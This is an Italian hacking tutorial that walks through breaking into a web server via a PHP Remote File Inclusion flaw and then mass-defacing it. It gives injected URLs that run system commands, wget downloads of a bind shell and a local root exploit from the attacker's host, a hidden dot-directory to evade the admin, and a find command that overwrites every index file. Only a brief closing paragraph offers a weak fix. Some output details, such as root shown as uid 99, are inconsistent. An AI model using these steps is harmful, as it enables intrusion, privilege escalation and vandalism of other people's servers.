Bucare un server ed effettuare un mass-deface

Attenzione: Effettuare un Mass-deface è un’azione illecita! Geekissimo Blog, Wikihack KinG-LioN e chiunque altro sia attivamene o passivamente menzionato non si assumono responsabilità per l’uso che farete di questa guida, scritta puramente a scopo informativo.

Salve, sono KinG-LioN, spesso mi è stato chiesto come sia possibile bucare un server per poter effettuare un Mass-deface. Per tale scopo, possiamo sfruttare un Remote File Include. Tale tecnica ha lo scopo di ricercare all’interno della sorgente, della struttura di una pagina .php una variabile buggata, ossia una dichiarazione di variabile “imperfetta” che mi consenta di avere un determinato livello di accesso al sistema. Il problema e quindi da ricercare nel sorgente di una pagina. Un classico esempio di variabile non dichiarata in modo sicuro sarebbe:

Da cio possiamo quindi dedurre come sia facile includere un file esterno, una shell, per ottenere dei privilegi. La struttura di tale variabile fa si che il sito buggato (es. http://www.eurohackers.it ) vada a ricercare la pagina in questo determinato modo:

http://www.eurohackers.it?(variabile)=pagina.php , da cio e facile dedurre come un WebAttacker puo sfruttare tale falla con, una semplice modifica dell’url, ossia dichiarando: http://www.eurohackers.it?(variabile)=[ sito esterno ]?&=cmd , dove ?&=(cmd ) ci da la possibilita di eseguire comandi come se ci trovassimo su una consolle unix. Possiamo quindi caricare al posto di [sito_esterno] una shell gia compilata, come le famose c99 o r57, in un formato diverso dal php, quale txt gif etc, per dar modo alla pagina di girare in remoto. Infatti se richiamassimo una shell in formato php, questa girerebbe unicamente in locale, e non in remoto. Alro esempio puo essere dato dalla creazione di una pagina di esecuzione di comando in php, ossia dovremmo creare una pagina php che contiene:

In questo modo, possiamo definire noi i comandi da lanciare sul sito vittima. Nel caso in cui, caricassimo la pagina sopra descritta su un nostro dominio, chiamandola ad esempio kinglion.php, e volessimo attaccare index.php ( con variabile insicura )sul sito www.eurohackers.it, ci bastera digitare: http://www.eurohackers.it/index.php?pagina=http//[nostro_sito.com]
/kinglion.php?&
cmd=[comando] , dunque andremo ad inserire il comando unix subito dopo cmd= per ottenere i privilegi del WebServer. A questo punto spero sia chiaro il tipo di attacco che possiamo effettuare. Molto importante per tale RFI risultano essere le “BindShell” che ci danno la possibilita di associare ad una porta di una macchina, una shell da poter utilizzare in remoto, quindi una BindShell apre una determinata porta sulla macchina a cui possiamo successivamente conntterci da Telnet. Una volta trovato un sito vulnerabile al nostro RFI, possiamo quindi creare una cartella all’interno dello stesso, nella quale piazzare la nostra BindShell. Il comando per far cio è:

http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&
cmd=cd
/directory;mkdir cartella;cd cartella;wget http://tuo_sito.com/binshell ,quindi volendo creare la cartella kinglion ( dove metteremo la BindShell )all’interno della directory admin digiteremo:

http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&
cmd=cd
/admin;mkdir kinglion;cd kinglion;wget http://tuo_sito.com/binshell

Analizziamo questo comando: [1] : come abbiamo accennato prima ci da la possibilità di sfruttare una variabile insicura [include (“$pagina.inc.php”);] contenuta in questo caso in index.php , per richiamare una pagina php da noi creata contenente a sua volta [system ($cmd) :] che ci da cosi la possibilita di inserire comandi unix dopo [?&cmd=]. cd /admin : ordina al webserver di spostarci nella directory admin mkdir kinglion : invece ordina al webserver di creare la cartella kinglion all’interno della directory in cui ci troviamo, quindi in questo caso admin, dove prima ci siamo spostati col comando cd cd kinglion : come certamente avrete gia intuito, questo comando ci sposta nella directory kinglion appena creata wget http://tuo_sito.com/binshell : infine wget caricherà un file da URL esterno nella directory in cui ci troviamo.

Potrà comunque capitare che noi non disponiamo dei permessi necessari per pter interagire col webserver. In questo caso possiamo exploitare il sistema con exploit locale. Inizieremo quindi con l’analizzare la macchina su cui ci troviamo per verificare i permessi di scrittura a nostra disposizione tramite il comando uname -a;id che ci visualizzera in output i permessi attuali, il kernel, l’host della macchina e se il kernel in questione è patchato. Su Server windows che riconoscete dall’otput ad esempio :[ Microsoft-IIS/6.0. PHP/4.4.1 ], si hanno ottime possibilità di un accesso root, mente su server Unix sara indispensabile exploitare il sistema. Dando quindi in imput il comando : http://www.eurohackers.it/index.php?page=http://tuo-sito.com/kinglion.php?&
cmd= uname -a;id visualizzeremo in output i dati di cui prima ho scritto, che potrebbero essere ad esempio:

7Linux eurohackers 2.6.17 #2 Thu nov 6 09:25:45 GMT 2004 i686 i686 i386 GNU/Linux uid=99(nobody) gid=99(nobody) groups=99(nobody)

Tale risposta del server ci dice che non abbiamo i permessi di root sul server in questione e che quindi non possiamo caricare, edidate o uppare nulla. per risolvere a questo inconveniente, come prima ho accennato possiamo exploitare il kernel. Anche non avendo i permessi di root, nel 99% dei casi almeno una o piu directory del Webserver ( spesso la directory /tmp ) ci da i permessi di cui abbiamo bisogno, e sara prorio quella directory vulnerabile che ci dara la possibilità di exploitare tutto il sistema. Creiamo una nostra directory all’interno di quella vulnerabile col comando “mkdir directory” come sopra descritto. Consiglio di antecedere un “.” ( senza apici ) alla directory creata in modo tale da poterle garantire un certo grado di invisibilità ( per evitare che venga vista ed eliminata dall’admin ), ma comunque si noti che la cartella sarà visibile col comando ” ls -a “. Creata la nostra Directory che chiameremo ad esempio kinglion, disporremo di accesso root e quindi potremmo caricare al suo interno il nostro exploit locale che ci dara pieno accesso a tutto il sistema. Per caricare il nostro exploit che potete cercare sul sito http://www.eurohackers.it , useremo lo stesso comando che abbiamo visto prima, per caricare la BindShell: http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&
cmd=cd /tmp;mkdir kinglion;cd kinglion;wget http://tuo_sito.com/exploit Ora il server elaborera la nostra richiesta e dovrebbe risponderci:

www@eurohackers:/tmp$ wget http://tuo_sito.com/exploit –17:47:15– http://tuo_sito.com/exploit => `exploit’ Resolving http://tuo_sito.com/… http://tuo_sito.com/ Connecting to http://tuo_sito.com/[2]:80… connected. HTTP request sent, awaiting response… 200 OK Length: unspecified [text/html]

[ ] 10,152 784.69K/s

12:40:30 (156.23 KB/s) – `exploit’ saved [10152]

Ora l’ultimo passo per diventare root, sara di settare i permessi di scrittura ed esecuzione (drwxrwxrwx) in “chmod 777”. Il comando che dobbiamo dara sarà quindi: http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&

cmd=cd tmp/;cd .kinglion;chmod 777 exploit;./exploit;uname -a;id e se avremmo fatto tutto bene, il server ci rispondera in output: 7Linux eurohackers 2.6.17 #2 Thu nov 6 09:41:07 GMT 2004 i686 i686 i386 GNU/Linux uid=99(root) gid=99(root) groups=99(root) Cio sigifica che finalmente siamo ROOT, siamo i padroni del server. Ora nel caso volessimo effettuare un “mass-Deface” sarà sufficiente una sola stringa di comando: find / -name “index.*” -exec cp nostroindex.html {} ; quindi digiteremo: http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&cmd=find / -name “index.*” -exec cp kinglion.php {} ; Ossia, con questo comando andremo alla ricerca in “TUTTE” le directory del Webserver di quei file denominati index in tutte le sue estenzioni, che verranno automaticamente sostituite con la pagina da te dichiarata, in questo caso da kinglion.php ( anche se e sempre consigliabile rinominare la pagina sempre col nome index ). Occorre infine precisare che la index da sostituire per in nostro Mass-deface deve essere situata all’interno della stessa directory nella quale viene eseguito il comando, quindi nel nostro caso nella directory principale.

Come abbiamo visto una piccola imperfezione in una variabile ( include (“$pagina.inc.php”); ) puo degenerare in mass-deface, da cio possiamo quindi dedurre come sia vulnerbile il web, e come la conoscenza dei linguaggi di programmazione sia indispensabile, per ogni aspirante hacker. Como posso io evitare che il mio sito venga attaccato con un Remote File Include? Basterà quindi analizzare il sorgente della pagina, e se questi presenta una variabile vulnerabile quale ad esempio include (“$pagina.inc.php”); occorrerà modificarla con include ” /”.$pagina; safe_mode (safe_mode= On) nel file php.ini Con questa leggera modifica possiamo quindi evitare il RFI, ma permettere il directory traversal.

Autore: KinG-LioN
MSN: kinglion1983@hotmail.com
web: http://www.eurohackers.it
Origine: http://www.eurohackers.it/txt/mass-deface.txt